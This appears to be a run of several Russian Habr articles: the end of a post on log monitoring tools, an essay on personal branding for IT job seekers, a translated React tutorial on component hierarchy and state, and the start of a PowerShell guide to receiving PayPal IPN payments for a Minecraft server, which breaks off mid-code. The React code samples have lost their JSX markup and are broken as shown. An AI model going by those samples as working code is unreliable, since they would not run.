### Пишите парсеры и предусмотрительно отслеживайте журналы
Возможность написания парсеров и фильтров встроена в большинство инструментов для мониторинга журналов — так называемая SIEM-интеграция (*security information and event management*). Парсеры помогают сохранять журналы в более упорядоченных форматах, а запрашивать данные становится гораздо проще и быстрее. Также правильно организованные данные можно передавать системам мониторинга и поиска аномалий для профилактического мониторинга и прогнозирования будущих событий. Эти инструменты обладают очень широкими возможностями по графическому отображению данных на основе временных последовательностей и в реальном времени.
### Настройте оповещения и push-уведомления для критических инцидентов
Почти все инструменты мониторинга журналов позволяют задавать определённым уровням свои пороговые значения. Когда система достигает таких значений, инструмент заранее обнаруживает их, помогает журналировать данные и уведомляет сисадминов с помощью оповещений, API push-уведомлений (например, [Slack Audit Logs API](https://api.slack.com/admins/audit-logs)), электронных писем и т. д. Также их можно заранее настроить на инициирование автоматических процессов вроде динамического масштабирования, резервного копирования системы, переброски нагрузки и т. д. Но если вы вкладываетесь в коммерческое ПО для мониторинга журналов, внимательно его изучите, потому что такие инструменты могут быть избыточны для небольших и средних программных систем.
5. Рекомендуемые инструменты
----------------------------
### Фреймворки для журналирования
JavaScript/TypeScript: [Log4js](https://www.npmjs.com/package/log4js) / [pino](https://github.com/pinojs/pino)
Java: [Log4j](https://logging.apache.org/log4j/)
Golang: [Logrus](https://github.com/sirupsen/logrus)
Serverless-функции: [aws-lambda-powertools-python](https://github.com/awslabs/aws-lambda-powertools-python) / Самописное
Изучение, агрегирование и мониторинг журналов
---------------------------------------------
CLI-инструменты: less, vim
Облачные инструменты: Fluentd, AWS CloudWatch
SIEM-инструменты: SolarWinds, Splunk, McAfee ESM, DataDog, IBM QRadar
Прочие: ELK Stack (ElasticSearch, Logstash, Kibana, Beats), Loggly | https://habr.com/ru/post/532996/ | null | ru | null |
# Я — Бренд или как поднять свою ценность?
После написания поста об [алгоритме IT собеседования](http://habrahabr.ru/post/146927/), мы в комментариях обсуждали, что постоянно кому-то нужно что-то доказывать, выполнять глупые тестовые задания и т.д. Область, в которой мы работаем, растет и развивается очень быстро. Классические институты не успевают менять свои программы, да и преподаватели уже не в курсе происходящего.
Мы не можем просто по корочке авторитетного института принять специалиста, исключения разве что PMI, PMP, PM и т.д. сертификаты, которые могут сказать, что человек учился в авторитетной компании, которая входит в международную сеть руководителей проектов и гарантирует качественное образование и выдает сертификаты только тем, кто в полном объеме освоил все знания.
Я даже скажу больше, что такое едва ли появится в ближайшее десятилетие, а значит, нужно менять подход к самому себе. В данном посте я хочу высказать свою точку зрения по данной проблеме и очень рассчитываю начать большое конструктивное обсуждение возможных вариантов добавления себе ценности для работодателя.
Итак, всех заинтересованных — прошу под кат.
##### 1. О тенденциях
Много людей сейчас сидит в соцсетях, бумажные газеты с работой уже перестают работать, а в развитых странах их уже просто нет. Сейчас есть профессиональные соцсети, которые заменяют резюме в обычном его виде. В глобальном мире уже есть акулы бизнеса — такие, как LinkedIn, появляются несколько новых глобальных и локальных игроков. Развивающиеся страны показывают взрывной рост использования таких сервисов — в частности Китай и Индия. Наша банановая республика следующая.
Западные воротилы считают, что мы не понимаем, зачем нам сервис МойКруг. Они видят в нашем рынке очень большие перспективы, а где перспективы, там и перемены. А в качестве доказательства серьезности намерений, сейчас свою соцсеть делает HH.ru, и уже как полгода прощупывает почву французская сеть Viadeo.
Не буду вдаваться в философию, вся информация есть в обширных просторах интернета, я выскажу свое видение уже начавшихся перемен.
Во-первых, IT жителей ищут в 99.9% через интернет, если вы большой или средний специалист, то трудно себе представить, что вы не пользуетесь интернетом для поиска работы. Расстояние от вас до работодателя стало минимальным, прямым в одно/два рукопожатия. Мало того, все что мы пишет личного в соцсетях, теперь и работодатели, как текущие, так и будущие способны проследить и узнать о нас даже больше того, что мы хотим им рассказать.
Во-вторых, для России, где люди не привыкли заниматься самопрезентацией и фактически хвалить себя, нужно будет учиться делать, так как это востребовано рынком. И тут для активистов есть огромная возможность вырваться вперед по сравнению с теми, кто еще тормозит и не может перебороть свою скромность.
Дальше опишу возможности которыми мы можем пользоваться как для поиска работы, так и для создания своего имиджа в промежутках между поиском :).
##### 2. Проверяйте рекомендации о компании через интернет
Самое важное, на мой взгляд, преимущество заключается в том, что раньше компания просила заполнять разные анкеты, паспортные данные, указывать родственников, обзванивать рекомендации, пробивать по разным базам данных у служб безопасности. Но, теперь проверять можно и компанию.
Таким образом проверять рекомендации может не только компания о соискателях, но и соискатели о компании. Для этого, как пример, нужно воспользоваться профессиональными социальными сетями, найти людей, которые сейчас работают в компании, и узнать из первых рук. Спросить о том, совпадает ли то, о чем обещали на собеседовании, с тем, что есть реально.
* Белая ли зарплата?
* Вовремя ли ее выдают?
* Как ведет себя начальник на работе?
* Какой офис и рабочие места? и т.д.
##### 3. Будьте проактивны
Думать о своей деловой репутации нужно каждый день и каждый день нужно работать на нее, привнося по чуть-чуть что-то полезное. Если вы решите создавать ее в момент, когда начали искать работу — то время уже упущено.
Заботьтесь заранее, чтобы у вас были тематические статьи в интернете по профессиональному профилю, в той области в которой вы хотите работать. Чтобы хедхантер или будущий работодатель мог оценить ваши знания на практике.
Очень хорошо, если у вас есть возможность выступать на публике перед аудиторией, которая релевантна вашим профессиональным интересам. Причем не важно семинар это или вебинар, статья на сайте или сообщение в твиттере — вы должны использовать максимум инструментов, которые помогут вам заявить о себе и быть заметным.
##### 4. Сила рекомендаций — или как заработать авторитет
Во-первых, на ваш авторитет играет авторитет тех компаний, в которых вы работали и от занимаемой должности. Поэтому старайтесь искать либо более авторитетные компании, либо более авторитетные должности. Идеально — это конечно сочетание этих параметров.
Во-вторых, пользуйтесь переносом авторитета от человека пользующегося доверием, например, если какой-то гуру вашей специфичной области упомянул вас или ретвитнул, то это автоматически добавило вам авторитета.
В-третьих, ваш авторитет зависит от вашего круга знакомых, тех кого знаете вы и кто знает вас. Внимательно относитесь к профессиональным знакомствам, поддерживайте отношения (networking), чем больше вы отдаете, тем больше вы получаете. Ваши знакомые должны знать вас как человека, всегда готового помочь им установить необходимые контакты.
##### 5. Инструментарий
Как обычно от теории, переходим к практике. Здесь я хочу остановиться на инструментарии и узнать, кто как и какими инструментариями пользуется — это будет полезно для всех.
Собственно, все упоминаемые в начале статьи акулы бизнеса работают для нас — хотят чтобы у нас была хорошая работа, чтобы было комфортно работать, нарабатывать связи и т.д., поэтому давайте делиться таким инструментами и следить за новинками, трендами и изменениями.
**МойКруг от Яндекса**, это первый инструмент, которым я пользуюсь. Здесь наиболее важный для авторитета сервис, помимо 1-го круга и резюме — это Факты, а также рекомендации услуг. Здесь используется прямая передача авторитета между людьми. И очень много зависит от текста сообщения, количества и качества (авторитетности) людей, кто это подтверждает.
**Собственно HH.ru** — здесь обычный качественный сервис помогающий правильно составить резюме и большинство вакансий закрывается здесь. Ждем, когда они откроют свою профессиональную соц. сеть.
**Twitter** — сервис микроблогов. Позволяет быстро войти в вашу профессиональную тусовку, быть в курсе о происходящих событиях. А самое главное — мелькать на глазах у потенциальных работодателей. Так для авторитетности влияет, кого вы читаете и главное, кто читает вас.
**ХабраХабр** — конечно, здесь основная русскоговорящая тусовка IT. Почему идет не первой? Потому, что здесь не очень любят менеджеров (или мне пока так кажется :) ), которые рассказывают правду, делятся опытом. Тем более, что в России трудно НЕ стать менеджером в будущем.
`от [Varnak](https://geektimes.ru/users/varnak/) Если вы растете, как технических специалист, то для вас было интересны следующие ресурсы, которые добавят вам авторитета и в большинстве случаев либо заменят выполнение тестового задания, либо само найдет работу. Для этого нужно быть активных автором и ваши работы должны быть интересны определенному кругу работодателей. Т.е. выкладывая свои работы вы показываете на деле свои навыки и умения.
Актуальность этого еще связана с тем, что уже больше года работодатели спрашивают аккаунты на любую из этих платформ.
Открытые репозитории кода
**code.google.com** - самый модный, Гугл одно слово.
**sourceforge.net** - самый старый и авторитетный ресурс
**github.com** - заслуженно самый трендовый и удобный. Имеется возможность создания платного приватного репозитория. У гитхаба есть собственный хантерский ресурс **jobs.github.com** и при большой активности они сами предлагают работу.
**bitbucket.org** Здесь так же имеется возможность создания платного приватного репозитория.
Очень известные и почитаемые - это сайты вопросники.
**stackoverflow.com** Если есть технический вопрос по программированию, то с вероятностью в 70% на него уже ответили и 25% что ответят в течение дня. Так же есть свой хантерский ресурс **careers.stackoverflow.com**
**serverfault.com** Это практически полный аналог предыдущего, но с упором на администрирование.
Как и в случае с репозиториями - прокачанный акк, заменяет тестовое задание, а особо прокачанные еще и привлекают работодателей.`
*Пользуясь случаем позволю себе ремарку: это как разговор бабочки (менеджера) с гусеницей (специалистом). Что когда станешь бабочкой, ты можешь летать как птица. А гусеница злится, так как к птицам у них очень негативное отношение. Вот за это и минусуют.*
Продолжаем.
Не давно узнал о новом сервисе **Resumup.com**, суть его заключается в том, чтобы ваше скучное резюме или вакансию сделать красивой и наглядной с применением красивой инфографики.
пример, как выглядит резюме. Красота.
**LinkedIn** — всем известная профессиональная соц. сеть, очень популярна в америке, после прихода на российский рынок, без активного маркетинга смогла увеличить свою долю в 4-ре раза по сравнению с тем, когда ее здесь не было. Рекомендуется тем, кто ищет работу в больших западных компаниях, как на территории России, так и за рубежом.
Если вы ищите серьезные западные инвестиции, то в этой сети можно написать нужным людям на прямую и если у вас хорошая идея и вы правильно ее описали, то велика вероятность, что будут инициированы следующие встречи и получены деньги.
**Viadeo** — новичок на нашем рынке и уже серьезный игрок на мировом. Основные особенности его в том, что приходя на каждый конкретный рынок: Европы, Америки, Китая, Индии они используют национальные индивидуальные особенности.
Например, в Индии обязательно нужно на сервисе гороскоп на сегодняшний день, без него никаких серьезных дел не делается. В Китае нет кнопки — пригласить в друзья, так как там не принято добавлять тех, кого не знаешь лично.
Так же в разных странах у людей разные традиции: во Франции у людей практически нет визиток, в Америке визитки пренебрежительно кидаются, в Японии визитки есть у всех, включая дворников, и здесь принято давать и брать визитки двумя руками, обязательно нужно сразу ознакомиться с ее содержимым и высказать почтение ее владельцу.
Мы такие разные, но своя рубашка ближе к телу :) Нам интересно, что же в скором времени будет предложено и адаптированно именно под нас — правильно? Как вы считаете какими особенностями / отличиями мы обладаем, которые нужно будет учитывать акулам бизнеса работая на нашем рынке для нас?
— Персональный совет — «Хотите добавить ценность своей кандидатуре — удалите резюме из всех онлайн баз с сайтов поиска работы» (с) Алена Владимирская (Pruffi)
\*\*\*\*
Спасибо за прочтение статьи — главное не увлекайтесь, во всем надо знать меру. Успехов.
 | https://habr.com/ru/post/147085/ | null | ru | null |
# Мыслим в стиле React
Перевод туториала официальной документации библиотеки React.js.
Мыслим в стиле React
--------------------
React, на наш взгляд, это лучший способ построить большое, быстрое веб-приложение с помощью JavaScript. По нашему опыту в Facebook и Instagram, приложение на React также очень хорошо масштабируется.
Одно из многих замечательных свойств React — это принцип "Как вы проектируете приложение, также вы и создаете его". В этом туториале вы пройдете весь мыслительный процесс проектирования и создания приложения React, отображающего таблицу данных для поиска товара.
Начнем с макета
---------------
Представим, что у нас имеется некое JSON API и макет от нашего дизайнера. Макет выглядит следующим образом:
Наше JSON API возвращает некоторые данные в следующем виде:
```
[
{category: "Sporting Goods", price: "$49.99", stocked: true, name: "Football"},
{category: "Sporting Goods", price: "$9.99", stocked: true, name: "Baseball"},
{category: "Sporting Goods", price: "$29.99", stocked: false, name: "Basketball"},
{category: "Electronics", price: "$99.99", stocked: true, name: "iPod Touch"},
{category: "Electronics", price: "$399.99", stocked: false, name: "iPhone 5"},
{category: "Electronics", price: "$199.99", stocked: true, name: "Nexus 7"}
];
```
Шаг 1: Переводим пользовательский интерфейс в иерархию Компонентов
------------------------------------------------------------------
Первое, что мы делаем, это рисуем на макете боксы вокруг каждого компонента (и подчиненных компонентов) и присваиваем им названия. Если вы работаете с дизайнером, он, возможно, уже сделал это, так что необходимо поговорить с ним! Может оказаться, что названия слоев в Photoshop вполне подойдут для наименования ваших React компонентов!
Но откуда узнать, каким должен быть конечный отдельный компонент? Просто используйте те же методы для определения, что и при создании новой функции или объекта. Одним из таких методов является [Принцип единственной ответственности](https://ru.wikipedia.org/wiki/Принцип_единственной_ответственности), то есть компонент, в идеале, должен создавать только одну вещь/сущность. Если компонент создает несколько повторяемых в других компонентах сущностей, то он должен быть разложен на более мелкие компоненты.
Чем чаще вы будете отображать модель данных JSON в виде пользовательского интерфейса, тем быстрее вы придете к тому, что если модель данных построена корректно, то и ваш пользовательский интерфейс (и, следовательно, структура компонентов) выглядит красиво. Причина в том, что пользовательский интерфейс и модель данных, как правило, придерживаются одной и той же *информационной архитектуры*, а это означает, что разделение пользовательского интерфейса на составляющие часто является тривиальной задачей — "Просто разбейте его на компоненты, которые представляют ровно один кусочек вашей модели данных".
Как видно из макета — у нас есть пять компонентов в нашем простом приложении. Мы выделили разноцветными боксами каждый из компонентов.
1. **`FilterableProductTable` (оранжевый):** содержит всю нашу таблицу
2. **`SearchBar` (синий):** принимает весь *пользовательский ввод*
3. **`ProductTable` (зеленый):** отображает и фильтрует *набор данных* основанных на *пользовательском вводе*
4. **`ProductCategoryRow` (бирюзовый):** отображает заголовок для каждой *категории*
5. **`ProductRow` (красный):** отображает строку для каждого *товара*
Если вы посмотрите на `ProductTable`, вы увидите, что заголовок таблицы (содержащий ярлыки "Name" и "Price") не выделен в отдельный компонент. Это вопрос предпочтений, и есть аргументы для того или иного варианта. Для этого примера, мы оставили заголовок в составе `ProductTable`, потому что он является частью визуализации *набора данных*, которая относится к ответственности `ProductTable`. Однако, если заголовок был бы более сложным (например: мы должны были бы добавить возможность для сортировки по столбцам), конечно, мы бы выделили бы его в отдельный компонент `ProductTableHeader`.
Теперь, когда мы определили компоненты в нашем макете, давайте оформим их в виде иерархии. Это легко. Компоненты, которые входят в другой компонент в макете, должны выглядеть как потомки в иерархии:
* `FilterableProductTable`
+ `SearchBar`
+ `ProductTable`
- `ProductCategoryRow`
- `ProductRow`
Шаг 2: Создаем статическую версию в React
-----------------------------------------
**HTML**
```
```
**CSS**
```
body {
padding: 5px
}
```
**JavaScript**
```
class ProductCategoryRow extends React.Component {
render() {
return | {this.props.category} |
;
}
}
class ProductRow extends React.Component {
render() {
var name = this.props.product.stocked ?
this.props.product.name :
{this.props.product.name}
;
return (
| {name} | {this.props.product.price} |
);
}
}
class ProductTable extends React.Component {
render() {
var rows = [];
var lastCategory = null;
this.props.products.forEach(function(product) {
if (product.category !== lastCategory) {
rows.push();
}
rows.push();
lastCategory = product.category;
});
return (
| Name | Price |
| --- | --- |
{rows}
);
}
}
class SearchBar extends React.Component {
render() {
return (
{' '}
Only show products in stock
);
}
}
class FilterableProductTable extends React.Component {
render() {
return (
);
}
}
var PRODUCTS = [
{category: 'Sporting Goods', price: '$49.99', stocked: true, name: 'Football'},
{category: 'Sporting Goods', price: '$9.99', stocked: true, name: 'Baseball'},
{category: 'Sporting Goods', price: '$29.99', stocked: false, name: 'Basketball'},
{category: 'Electronics', price: '$99.99', stocked: true, name: 'iPod Touch'},
{category: 'Electronics', price: '$399.99', stocked: false, name: 'iPhone 5'},
{category: 'Electronics', price: '$199.99', stocked: true, name: 'Nexus 7'}
];
ReactDOM.render(
,
document.getElementById('container')
);
```
Теперь у вас есть ваша иерархия Компонентов, пришло время реализовать свое приложение. Самый простой способ — начать со статической версии, в которой отображается модель данных и пользовательский интерфейс, но нет интерактивности. Разделение статической и интерактивной частей — хорошое решение, т.к. задача по реализации статической версии — это ввод большого количества текста с клавиатуры с наименьшим мыслительным процессом, тогда как реализация интерактивности наоборот требует большого мыслительного процесса и малого ввода с клавиатуры. Далее мы увидим — почему так.
Реализация статической версии — это отображение (рендеринг) модели данных, в процессе которого вы создаете Компоненты, которые используют другие Компоненты и передают данные посредством *props (Свойства)*. *props* являются инструментом передачи данных от предка к потомку в иерархии Компонентов React. В React есть такое понятие, как *state (Состояние)* — **никогда не используйте Состояние (state)** при создании статической версии. Основное предназначение Состояния — интерактивность, оно необходимо для передачи и фиксирования данных, которые меняются с течением времени. Поскольку, в данный момент, вы создаете статическую версию приложения — вы не нуждаетесь в использовании Состояния.
Вы можете реализовывать приложение сверху-вниз или снизу-вверх. То есть, вы можете начать с построения Компонентов более высокого уровня иерархии (начиная с `FilterableProductTable`) или наоборот с низкого уровня (`ProductRow`). В более простых приложениях, как правило, легче идти сверху вниз, а в более крупных — снизу вверх и параллельно писать тесты по мере реализации Компонентов.
В конце этого шага, у вас будет библиотека повторно используемых Компонентов, которые отображают вашу модель данных. Компоненты будут иметь только метод `render()`, так как это статическая версия. Компонент в верхней части иерархии (`FilterableProductTable`) получит модель данных посредством *props*. Если вы внесете изменение в базовую модель данных и вызовете `ReactDOM.render()` заново — пользовательский интерфейс будет обновлен. Не правда ли — в этом нет ничего сложного, т.к это действительно очень просто? **Односторонний поток данных** React (также называемый *односторонним связыванием*) обеспечивает модульность и скорость.
### Небольшое отступление: Свойства (props) и Состояние (state)
В React существуют две "модели" данных: props и state. Важно понимать различие между ними. Если вы не уверены, что знаете разницу — перечитайте соответствующий [раздел официальной документации](https://facebook.github.io/react/docs/state-and-lifecycle.html).
Шаг 3: Определяем минимальное (но достаточное) представление Cостояния (state) пользовательского интерфейса
-----------------------------------------------------------------------------------------------------------
Для того, чтобы сделать пользовательский интерфейс интерактивным, вам необходимо иметь возможность регистрировать изменения в базовой модели данных. В React это делается просто с помощью **state**.
Для построения корректного приложения, в первую очередь, вам необходимо обдумать минимальный набор изменяемых состояний необходимых для вашего приложения. Придерживайтесь принципа DRY: *Don't Repeat Yourself (Не повторяйся)*. В идеале — минимальное представление Состояния вашего приложения не должно содержать чего либо, что может быть вычислено на основании имеющихся данных (в props и state) в момент времени, когда это необходимо. Например: Если вы строите приложение, отображающее список дел, оставайтесь в пределах массива, содержащего записи дел — не создавайте отдельной переменной Состояния, отображающей количество дел. Вместо этого, в тот момент когда вам необходимо отобразить количество дел — просто возьмите длину имеющегося массива.
Продумаем все единицы данных в нашем приложении. Мы имеем:
* Оригинальный список продуктов
* Поисковый текст, введенный пользователем
* Значение чекбокса
* Отфильтрованный список продуктов
Давайте пройдемся по каждому пункту и определим — является ли он Состоянием. Для каждой единицы данных нам надо задать три вопроса:
1. Передаются ли эти данные посредством props от предка? Если да, то это скорее всего не Состояние.
2. Остаются ли эти данные неизменными с течением времени? Если да, то это скорее всего не Состояние.
3. Можете ли вы вычислить эти данные на основании имеющихся (в props и state) в вашем Компоненте? Если да, то это не Состояние.
Оригинальный список продуктов передается посредством props — значит это не Состояние. Поисковый текст и значение чекбокса могут изменяться с течением времени и не могут быть вычислены из имеющихся данных — это Состояния. И последнее: Отфильтрованный список продуктов может быть вычислен комбинированием оригинального списка продуктов, поисковым текстом и значением чекбокса — это не Состояние.
В итоге, наши Состояния:
* Поисковый текст, введенный пользователем
* Значение чекбокса
Шаг 4: Определяем где наше Состояние будет размещаться
------------------------------------------------------
**HTML**
```
```
**CSS**
```
body {
padding: 5px
}
```
**JavaScript**
```
class ProductCategoryRow extends React.Component {
render() {
return (| {this.props.category} |
);
}
}
class ProductRow extends React.Component {
render() {
var name = this.props.product.stocked ?
this.props.product.name :
{this.props.product.name}
;
return (
| {name} | {this.props.product.price} |
);
}
}
class ProductTable extends React.Component {
render() {
var rows = [];
var lastCategory = null;
this.props.products.forEach((product) => {
if (product.name.indexOf(this.props.filterText) === -1 || (!product.stocked && this.props.inStockOnly)) {
return;
}
if (product.category !== lastCategory) {
rows.push();
}
rows.push();
lastCategory = product.category;
});
return (
| Name | Price |
| --- | --- |
{rows}
);
}
}
class SearchBar extends React.Component {
render() {
return (
{' '}
Only show products in stock
);
}
}
class FilterableProductTable extends React.Component {
constructor(props) {
super(props);
this.state = {
filterText: '',
inStockOnly: false
};
}
render() {
return (
);
}
}
var PRODUCTS = [
{category: 'Sporting Goods', price: '$49.99', stocked: true, name: 'Football'},
{category: 'Sporting Goods', price: '$9.99', stocked: true, name: 'Baseball'},
{category: 'Sporting Goods', price: '$29.99', stocked: false, name: 'Basketball'},
{category: 'Electronics', price: '$99.99', stocked: true, name: 'iPod Touch'},
{category: 'Electronics', price: '$399.99', stocked: false, name: 'iPhone 5'},
{category: 'Electronics', price: '$199.99', stocked: true, name: 'Nexus 7'}
];
ReactDOM.render(
,
document.getElementById('container')
);
```
Итак, мы определили минимальный набор Состояний приложения. Следующим шагом нам необходимо определить какой компонент изменяет или *владеет* этим Состоянием.
Запомните: В React работает односторонняя передача данных вниз по иерархии Компонентов. Возможно, из этого не сразу понятно какой компонент должен быть владельцем Состояния. **Эта часть часто является достаточно сложной для новичков** — поэтому следуйте следующим шагам, для выяснения этого вопроса:
Для каждой единицы Состояния вашего приложения:
* Определите все Компоненты, которые отображают (производят рендеринг) что-либо на основании этого Состояния.
* Найдите общего предка для этих Компонентов (единый Компонент по иерархии выше для всех Компонентов, которым необходимо это Состояние).
* Найденного общего предка или любой Компонент в иерархии вышего него можно назначить владельцем Состояния.
* Если общий предок отсутствует в вашей иерархии Компонентов — вам необходимо создать Компонент более высокого уровня просто для назначения его владельцем Состояния.
Итак, давайте применим эту стратегию к нашему приложению:
* Компонент `ProductTable` нуждается в Состоянии для фильтрации списка продуктов, в то же время Компонент `SearchBar` нуждается в Состоянии для отображения поискового запроса и состояния чекбокса.
* Общим предком для них является Компонент `FilterableProductTable`.
* Таким образом, концептуально, точка соприкосновения фильтрации списка и выбранных значений находится в Компоненте `FilterableProductTable`
Отлично, мы определили, что наше Состояние должно быть размещено в Компоненте `FilterableProductTable`. В первую очердь добавим свойство экземпляра `this.state = {filterText: '', inStockOnly: false}` в `constructor` Компонента `FilterableProductTable` для определения начального Состояния нашего приложения. Затем передадим `filterText` и `inStockOnly` в Компоненты `ProductTable` и `SearchBar` посредством *props*. И конечным шагом — используем *props* для фильтрации строк в `ProductTable` и установки значений полей формы в `SearchBar`.
Вы можете запустить приложение и посмотреть как оно будет вести себя: установите значение `filterText` в конструкторе Компонента `FilterableProductTable` равным `'ball'` и перезагрузите приложение. Вы увидите, что таблица данных корректно обновлена.
Шаг 5: Добавляем обратный поток данных
--------------------------------------
**HTML**
```
```
**CSS**
```
body {
padding: 5px
}
```
**JavaScript**
```
class ProductCategoryRow extends React.Component {
render() {
return (| {this.props.category} |
);
}
}
class ProductRow extends React.Component {
render() {
var name = this.props.product.stocked ?
this.props.product.name :
{this.props.product.name}
;
return (
| {name} | {this.props.product.price} |
);
}
}
class ProductTable extends React.Component {
render() {
var rows = [];
var lastCategory = null;
this.props.products.forEach((product) => {
if (product.name.indexOf(this.props.filterText) === -1 || (!product.stocked && this.props.inStockOnly)) {
return;
}
if (product.category !== lastCategory) {
rows.push();
}
rows.push();
lastCategory = product.category;
});
return (
| Name | Price |
| --- | --- |
{rows}
);
}
}
class SearchBar extends React.Component {
constructor(props) {
super(props);
this.handleChange = this.handleChange.bind(this);
}
handleChange() {
this.props.onUserInput(
this.filterTextInput.value,
this.inStockOnlyInput.checked
);
}
render() {
return (
this.filterTextInput = input}
onChange={this.handleChange}
/>
this.inStockOnlyInput = input}
onChange={this.handleChange}
/>
{' '}
Only show products in stock
);
}
}
class FilterableProductTable extends React.Component {
constructor(props) {
super(props);
this.state = {
filterText: '',
inStockOnly: false
};
this.handleUserInput = this.handleUserInput.bind(this);
}
handleUserInput(filterText, inStockOnly) {
this.setState({
filterText: filterText,
inStockOnly: inStockOnly
});
}
render() {
return (
);
}
}
var PRODUCTS = [
{category: 'Sporting Goods', price: '$49.99', stocked: true, name: 'Football'},
{category: 'Sporting Goods', price: '$9.99', stocked: true, name: 'Baseball'},
{category: 'Sporting Goods', price: '$29.99', stocked: false, name: 'Basketball'},
{category: 'Electronics', price: '$99.99', stocked: true, name: 'iPod Touch'},
{category: 'Electronics', price: '$399.99', stocked: false, name: 'iPhone 5'},
{category: 'Electronics', price: '$199.99', stocked: true, name: 'Nexus 7'}
];
ReactDOM.render(
,
document.getElementById('container')
);
```
К текущему шагу мы создали приложение, которое корректно передает и использует props и state двигаясь по иерархии Компонентов вниз. Настало время добавит поддержку передачи данных в обратном направлении: компонентам формы, которые расположены ниже по иерархии, необходимо каким-то образом обновлять Состояние в Компоненте `FilterableProductTable`.
Механизм React для создания этого потока данных отлично проработан, чтобы создать легкое понимание того, как работает программа, но он требует немного больше ввода с клавиатуры, чем традиционное двустороннее связывание данных.
Если вы попробуете ввести текст или отметить чекбокс в текущей версии примера, вы обнаружите, что React игнорирует ваш ввод. Это умышленно установлено нами, т.к. мы установили значение свойства `value` в `input` всегда эквивалентным `state` передаваемому из Компонента `FilterableProductTable`.
Давайте подумаем — что мы хотим чтобы произошло. Мы хотим, чтобы каждый раз, когда пользователь вносит изменения в форму, обновлялось Состояние для отображения пользовательского ввода. Поскольку Компоненты должны обновлять только собственное Состояние, Компоненту `FilterableProductTable` необходимо передать в Компонент `SearchBar` механизм обратного вызова, который будет сигнализировать каждый раз, когда Состояние должно быть обновлено. Мы можем использовать событие `onChange` в компонентах формы для сообщения об этом. Тогда, обратный вызов переданный Компонентом `FilterableProductTable` вызовет `setState()` и приложение будет обновлено.
Хотя это и выглядит сложным, но на самом деле это всего лишь несколько строк кода. И реально прозрачно видно как ваши данные передаются через все приложение.
На этом все
-----------
Надеюсь, этот туториал дал вам представление о том, как следует мыслить при построении компонентов и приложений React. Хотя нам пришлось набрать немного больше кода, чем вы привыкли, помните, что код читается в разы чаще, чем пишется, а наш код читается легко за счет прозрачности и модульности. Как только вы начнете создавать большие библиотеки или приложения — вы по настоящему оцените эту прозрачность и модульность, а возможность повторного использования неизменно приведет к тому, что вы будете набирать все меньше и меньше кода.
Первоисточник: [React — Quick Start — Thinking in React](https://facebook.github.io/react/docs/thinking-in-react.html) | https://habr.com/ru/post/319134/ | null | ru | null |
# Как я сделал систему приема платежей в Minecraft на чистом PowerShell
[](https://habr.com/ru/company/ruvds/blog/501568/)
В этой статье мы прикрутим богомерзкий донат к ванильному серверу Minecraft с помощью Powershell. Преимущество метода в том, что майнкрафт это лишь частный случай реализации автоматических платежей с помощью консольных команд. Мы лишь слушаем, что нам присылает платежная система и заворачиваем это в команду. И главное – никаких плагинов.
А принимать платежи мы будем через PayPal. Самое главное, для того чтобы начать принимать платежи не нужно изменять код, PayPal отправит нам все что нужно. На сайте будем использовать через кнопки, так что на сайте можно обойтись чистым HTML. Абстрагируемся от тонкостей самой платежной системы и сконцентрируемся только на основных моментах в коде.
Кстати, автор будет очень рад, если вы просмотрите все его модули и найдете в них детские ошибки, на которые укажете или исправите. Вот [ссылка на гитхаб](https://github.com/nneeoo/Start-Minecraft) проекта.
Пару слов о IPN
---------------
### IPN
Принимать платежи будем через кнопки. Кнопки не требуют никакого бэкенда от вас, работают на чистом HTML, да еще и собственные поля имеют.
Кнопки триггерят IPN – Instant Payment Notification, в котором данные поступают на наш WebListener. Структуру IPN рассмотрим чуть ниже.
К тому же сделать свою кнопку может кто угодно, кто имеет учетную запись PayPal.
IPN не обладает полнотой всей REST API PayPal, но базовый функционал можно реализовать и на ней. На самом деле, рассматриваемый нами IPN не REST API в полном смысле этого слова только потому, что сам PayPal не ждет от нас ничего кроме кода 200.
### Поднимаем WebListener
PayPal, по соображениям безопасности, не отправляет запросы по HTTP, поэтому для начала работы нам нужно выпустить сертификат.
Автор использовал [WinAcme](https://www.win-acme.com/). Выпустить сертификат можно на любой домен, а сертификат нужно положить в локальное хранилище сертификатов. Кстати, в образе WinAcme находится в корне диска.
```
#Просматриваем хэш сертификата из персонального хранилище
Get-ChildItem -Path Cert:\LocalMachine\My
#Всписываем сертификат с этим хешем на 443 порт.
netsh http add sslcert ipport=0.0.0.0:443 certhash=D106F5676534794B6767D1FB75B58D5E33906710 "appid={00112233-4455-6677-8899-AABBCCDDEEFF}"
```
Powershell умеет использовать классы из .net, что делает его почти равным .net. Сначала, используя класс HttpListener, поднимем Web сервер.
```
#Используем класс из .net
$http = [System.Net.HttpListener]::new()
#Добавляем префиксы к лисенеру
$http.Prefixes.Add("http://donate.to/")
$http.Prefixes.Add("https://donate.to/")
#Стартуем сервер
$http.Start()
```
Чтобы проверить, что все сделано нормально, выполним netstat.
Если в списке наш скрипт начал слушать 443 порт, значит, вы сделали все правильно, и мы можем перейти к приему обработке запросов. Только не забудьте про брандмауэр.
### Принимаем запрос
С помощью [IPN Simulator](https://developer.paypal.com/developer/ipnSimulator/) мы можем отправить себе тестовый POST запрос, чтобы посмотреть что это такое. Но в нем нельзя включить собственные поля, поэтому автор рекомендует сделать кнопку и сразу купить у себя что-нибудь. В IPN History появится нормальный запрос с кнопки которую вы будете использовать. Автор сделал именно так, купив у себя один уголь за один рубль.
Принимать будем с помощью цикла While. Пока веб-сервер работает, мы можем читать входящий поток данных.
```
while ($http.IsListening) {
$context = $http.GetContext()
if ($context.Request.HttpMethod -eq 'POST' -and $context.Request.RawUrl -eq '/') {
#Читаем содержимое POST запроса
$Reader = [System.IO.StreamReader]::new($context.Request.InputStream).ReadToEnd()
#Фиксим странные руны.
$DecodedContent = [System.Web.HttpUtility]::UrlDecode($Reader)
#Выводим платеж в терминал.
$Payment | Format-Table
#Отвечаем клиенту 200 OK и закрываем стрим.
$context.Response.Headers.Add("Content-Type", "text/plain")
$context.Response.StatusCode = 200
$ResponseBuffer = [System.Text.Encoding]::UTF8.GetBytes("")
$context.Response.ContentLength64 = $ResponseBuffer.Length
$context.Response.OutputStream.Write($ResponseBuffer, 0, $ResponseBuffer.Length)
$context.Response.Close()
}
}
```
Если вы получаете вермишель подобную этой, то примените:
```
$Payment = $DecodedContent -split "&" | ConvertFrom-StringData
```
После этого вам наконец придет нормальный объект, где все Value это String.
**Можете бросить чтение прямо на этом месте**, если не хотите погружаться все глубже в код, а просто хотите принимать от чьей-то API запросы.
Вот код, который работает прямо из коробки, копируйте и используйте:
```
#Запускаем лисенер
$http = [System.Net.HttpListener]::new()
#Указываем домены, которые мы слушаем
